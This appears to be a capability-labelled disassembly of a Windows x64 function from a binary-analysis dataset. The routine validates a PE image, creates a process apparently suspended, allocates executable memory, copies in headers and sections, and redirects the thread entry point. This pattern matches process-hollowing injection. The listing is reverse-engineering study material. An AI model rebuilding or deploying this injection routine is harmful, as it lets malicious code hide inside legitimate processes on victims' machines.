Function at 0x14001d8a0
Capabilities:
Parse pe header

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x58]
sub rsp, 0x158
mov qword [rbp - 0x58], 0xfffffffffffffffe
mov rax, qword [0x14007a0d0]
xor rax, rsp
mov qword [rbp + 0x48], rax
mov r13, r9
mov qword [rbp - 0x68], r9
mov r15, r8
mov rsi, rdx
mov r14, rcx
mov qword [rbp - 0x70], rcx
mov rax, qword [rbp + 0xc0]
mov qword [rbp - 0x60], rax
xor eax, eax
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x68], rax
call fcn.140017b00
xor dil, dil
or rbx, 0xffffffffffffffff
movzx r12d, byte [rbp + 0xd8]
test r12b, r12b
je 0x14001da9b
mov qword [rbp + 0x38], 0xf
mov qword [rbp + 0x30], 0
mov byte [rbp + 0x20], dil
movzx r9d, byte [rbp + 0xd0]
lea r8, [rbp + 0x20]
lea rdx, [rsp + 0x70]
mov ecx, eax
call fcn.14001cb60
test al, al
je 0x14001d9f8
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x14001d9f8
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
lea r9d, [rbx + 3]
xor r8d, r8d
mov edx, 0x2000000
call fcn.140011fe0
test eax, eax
je 0x14001d9ca
xor r8d, r8d
mov rdx, qword [rsp + 0x70]
lea rcx, [rbp - 0x80]
call fcn.14000f420
test eax, eax
je 0x14001d9a1
mov dil, 1
jmp 0x14001da39
mov word [rbp + 0x40], 0x3231
mov byte [rbp + 0x42], 0
lea rax, [rbp + 0x40]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14001d9b2
lea rdx, [rbp + 0x40]
mov rcx, r13
call fcn.14002c1d0
jmp 0x14001da39
mov word [rbp + 0x41], 0x31
mov byte [rbp + 0x40], 0x31
lea rax, [rbp + 0x40]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001d9e0
lea rdx, [rbp + 0x40]
mov rcx, r13
call fcn.14002c1d0
jmp 0x14001da39
mov word [rbp + 0x41], 0x5f30
mov byte [rbp + 0x43], 0
mov byte [rbp + 0x40], 0x31
lea rax, [rbp + 0x40]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001da10
lea rdx, [rbp + 0x40]
mov rcx, r13
call fcn.14002c1d0
mov r9, rbx
xor r8d, r8d
lea rdx, [rbp + 0x20]
mov rcx, r13
call fcn.14002c0a0
nop
mov rax, qword [rbp + 0x38]
cmp rax, 0x10
jb 0x14001da8f
inc rax
mov rcx, qword [rbp + 0x20]
cmp rax, 0x1000
jb 0x14001da8a
test cl, 0x1f
je 0x14001da5d
call fcn.1400378b8
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x14001da6c
call fcn.1400378b8
int3
sub rcx, rax
cmp rcx, 8
jae 0x14001da7b
call fcn.1400378b8
int3
cmp rcx, 0x27
jbe 0x14001da87
call fcn.1400378b8
int3
mov rcx, rax
call fcn.140033508
test dil, dil
jne 0x14001da9b
xor al, al
jmp 0x14001dee3
mov eax, 0x5a4d
cmp word [r14], ax
jne 0x14001de7b
movsxd r14, dword [r14 + 0x3c]
add r14, qword [rbp - 0x70]
cmp dword [r14], 0x4550
jne 0x14001de5f
lea rdx, [rsp + 0x78]
mov rcx, rsi
call fcn.140010010
movzx ecx, word [r14 + 4]
mov edx, 0x14c
mov eax, dword [rsp + 0x78]
cmp cx, dx
jne 0x14001dae3
test eax, eax
jne 0x14001da94
mov edx, 0x8664
cmp cx, dx
jne 0x14001daf2
cmp eax, 6
jne 0x14001da94
lea rdi, [rbp + 0x20]
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rdi, [rbp - 0x50]
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rbp - 0x50], 0x68
mov dword [rbp - 0x14], 0x101
xor ecx, ecx
mov word [rbp - 0x10], cx
lea rax, [rbp + 0x20]
xor r9d, r9d
test r12b, r12b
je 0x14001db69
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rcx
mov rax, qword [rbp - 0x80]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rcx
mov r8, r15
mov rdx, rsi
mov rcx, qword [rsp + 0x68]
call fcn.140025e30
jmp 0x14001db9b
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], ecx
xor r8d, r8d
mov rdx, r15
mov rcx, rsi
call fcn.140012330
test eax, eax
je 0x14001de46
mov edi, 4
mov r9d, edi
lea edx, [rdi + 8]
xor ecx, ecx
mov r8d, 0x1000
call fcn.140011b90
mov r13, rax
mov dword [rax + 0x30], 0x100002
mov rdx, rax
mov rcx, qword [rbp + 0x28]
call fcn.140012110
test eax, eax
je 0x14001de0c
mov rdx, qword [r13 + 0x88]
add rdx, 0x10
xor r12d, r12d
mov qword [rsp + 0x20], r12
lea r9d, [rdi + 4]
lea r8, [rbp - 0x78]
mov rcx, qword [rbp + 0x20]
call fcn.140014270
mov dword [rsp + 0x60], 0x5f3777
lea rax, [rsp + 0x60]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x14001dc10
lea rdx, [rsp + 0x60]
mov rsi, qword [rbp - 0x60]
mov rcx, rsi
call fcn.14002c1d0
lea r15, [r14 + 0x30]
mov eax, dword [rbp - 0x78]
mov word [rbp + 0x40], 0x6d69
mov r8, rbx
cmp rax, qword [r15]
lea rax, [rbp + 0x40]
jne 0x14001dc5e
mov word [rbp + 0x42], 0x6f67
mov word [rbp + 0x45], 0x5f
mov byte [rbp + 0x44], 0x6f
inc r8
cmp byte [rax + r8], r12b
jne 0x14001dc53
jmp 0x14001dc79
mov dword [rbp + 0x43], 0x5f6666
mov byte [rbp + 0x42], 0x67
nop dword [rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x14001dc70
lea rdx, [rbp + 0x40]
mov rcx, rsi
call fcn.14002c1d0
mov rdx, qword [rbp - 0x78]
mov eax, edx
cmp rax, qword [r15]
jne 0x14001dce5
mov rcx, qword [rbp + 0x20]
call fcn.1400275f0
mov r8, rbx
test eax, eax
lea rax, [rbp + 0x40]
jne 0x14001dcbb
mov dword [rbp + 0x40], 0x637573
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x14001dcb0
jmp 0x14001dcd9
mov word [rbp + 0x41], 0x6666
mov byte [rbp + 0x43], r12b
mov byte [rbp + 0x40], 0x66
nop dword [rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x14001dcd0
lea rdx, [rbp + 0x40]
mov rcx, rsi
call fcn.14002c1d0
mov eax, 0x40
cmp byte [rbp + 0xc8], r12b
cmovne edi, eax
mov r8d, dword [r14 + 0x50]
mov dword [rsp + 0x20], edi
mov r9d, 0x3000
mov rdx, qword [r15]
mov rcx, qword [rbp + 0x20]
call fcn.140025bb0
mov rsi, rax
test rax, rax
je 0x14001ddd0
mov r9d, dword [r14 + 0x54]
xor edi, edi
mov qword [rsp + 0x20], rdi
mov r12, qword [rbp - 0x70]
mov r8, r12
mov rdx, rax
mov rcx, qword [rbp + 0x20]
call fcn.1400108e0
movzx eax, word [r14 + 0x14]
mov ebx, edi
cmp di, word [r14 + 6]
jae 0x14001dd83
lea rdi, [r14 + 0x2c]
add rdi, rax
xor r15d, r15d
mov r9d, dword [rdi - 4]
mov r8d, dword [rdi]
add r8, r12
mov edx, dword [rdi - 8]
add rdx, rsi
mov qword [rsp + 0x20], r15
mov rcx, qword [rbp + 0x20]
call fcn.1400108e0
lea rdi, [rdi + 0x28]
inc ebx
movzx eax, word [r14 + 6]
cmp ebx, eax
jl 0x14001dd50
lea r15, [r14 + 0x30]
xor edi, edi
mov rdx, qword [r13 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], rdi
mov r9d, 8
mov r8, r15
mov rcx, qword [rbp + 0x20]
call fcn.1400108e0
mov eax, dword [r14 + 0x28]
add rax, rsi
mov qword [r13 + 0x80], rax
mov rdx, r13
mov rcx, qword [rbp + 0x28]
call fcn.140014390
mov rcx, qword [rbp + 0x28]
call fcn.140027700
mov dil, 1
jmp 0x14001deab
mov word [rbp + 0x40], 0x3831
mov byte [rbp + 0x42], r12b
lea rax, [rbp + 0x40]
nop
inc rbx
cmp byte [rax + rbx], r12b
jne 0x14001dde0
mov r8, rbx
lea rdx, [rbp + 0x40]
mov rcx, qword [rbp - 0x68]
call fcn.14002c1d0
xor edx, edx
mov rcx, qword [rbp + 0x20]
call fcn.140024940
xor dil, dil
jmp 0x14001deae
mov word [rbp + 0x40], 0x3731
mov byte [rbp + 0x42], 0
lea rax, [rbp + 0x40]
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14001de20
mov r8, rbx
lea rdx, [rbp + 0x40]
mov rcx, qword [rbp - 0x68]
call fcn.14002c1d0
xor edx, edx
mov rcx, qword [rbp + 0x20]
call fcn.140024940
jmp 0x14001dea8
mov word [rbp + 0x41], 0x36
mov byte [rbp + 0x40], 0x31
lea rax, [rbp + 0x40]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14001de54
jmp 0x14001de99
mov word [rbp + 0x40], 0x3531
mov byte [rbp + 0x42], 0
lea rax, [rbp + 0x40]
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14001de70
jmp 0x14001de99
mov word [rbp + 0x40], 0x3431
mov byte [rbp + 0x42], 0
lea rax, [rbp + 0x40]
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14001de90
mov r8, rbx
lea rdx, [rbp + 0x40]
mov rcx, r13
call fcn.14002c1d0
xor dil, dil
xor r12d, r12d
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x14001debc
call fcn.1400273d0
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14001ded0
call fcn.140012bc0
mov qword [rsp + 0x68], r12
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x14001dedf
call fcn.140012bc0
movzx eax, dil
mov rcx, qword [rbp + 0x48]
xor rcx, rsp
call fcn.1400335a0
add rsp, 0x158
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret